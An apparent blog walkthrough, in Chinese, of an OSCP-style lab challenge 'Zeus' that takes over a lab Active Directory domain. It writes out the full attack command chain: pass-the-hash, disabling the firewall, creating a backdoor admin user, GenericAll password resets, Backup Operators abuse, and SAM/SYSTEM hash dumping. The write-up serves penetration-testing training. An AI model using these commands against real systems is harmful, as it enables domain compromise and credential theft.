Challenge 7 - Zeus(1)
Challenge 7 - Zeus(1)
先用 impacket-psexec 進入 .160，└─$ impacket-psexec -hashes :97db5c87465431b9091d47a58fe76483 administrator@192.168.182.160
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall set allprofiles state off
新增一組憑證 aries:Oscp#1234 然後加入本機的 administrators 管理者群組
net user aries Oscp#1234 /add
net localgroup administrators aries /add
在使用者 z.thomas 的 Download 資料夾中有一個名稱為 "Onboarding Document" 的檔案
看來是報到文件，各一個 *.docx 的 Word 檔案，內容看來是使用者的預設密碼
z.thomas:^1+>pdRLwyct]j,CYmyi
立馬 crackmapexec 測試看看，└─$ crackmapexec smb 192.168.182.158-160 -u 'z.thomas' -p '^1+>pdRLwyct]j,CYmyi' -d zeus.corp
看來是有效的憑證
跑一下遠端 BloodHound 查看一下有無更新，└─$ bloodhound-python -d zeus.corp -u 'z.thomas' -p '^1+>pdRLwyct]j,CYmyi' -gc dc01.zeus.corp -c all -ns 192.168.182.158
看來 z.thomas 屬於 Remote Management 群組成員
立馬 crackmapexec 測試一下 winrm，發現可以進 DC01 .158
evil-winrm 進入 .158 了，└─$ evil-winrm -i 192.168.182.158 -u 'z.thomas' -p '^1+>pdRLwyct]j,CYmyi'
另外 z.thomas 對 d.chambers 有 GenericAll 的權限
直接把 d.chambers 的密碼換成 Oscp#1234
net user d.chambers Oscp#1234
crackmapexec 測試一下沒有問題
└─$ crackmapexec smb 192.168.182.158 -u 'd.chambers' -p 'Oscp#1234'
改用 d.chambers 登入到 DC
└─$ evil-winrm -i 192.168.182.158 -u 'd.chambers' -p 'Oscp#1234'
該使用者隸屬 Backup Operator 群組
直接將 administrator 桌面的 proof.txt COPY 出來
robocopy /B C:\Users\administrator\Desktop\ C:\users\d.chambers\Desktop\
直接讀取 proof.txt
將 sam & system 備份出來
reg save hklm\sam c:\users\d.chambers\desktop\sam
reg save hklm\system c:\users\d.chambers\desktop\system
抓回 Kali 然後 dump，└─$ impacket-secretsdump -sam ./sam -system ./system LOCAL
獲得 administrator NTLM HASH 650836aac5e819c6afb991606f63f5c3
直接 impacket-psexec 進去了，└─$ impacket-psexec -hashes :650836aac5e819c6afb991606f63f5c3 administrator@192.168.196.158
也可以改完密碼再用 administrator 登入，whoami 就是標準的 zeus\administrator 了
net user administrator Oscp#1234
└─$ evil-winrm -i 192.168.196.158 -u 'administrator' -p 'Oscp#1234'
留言
張貼留言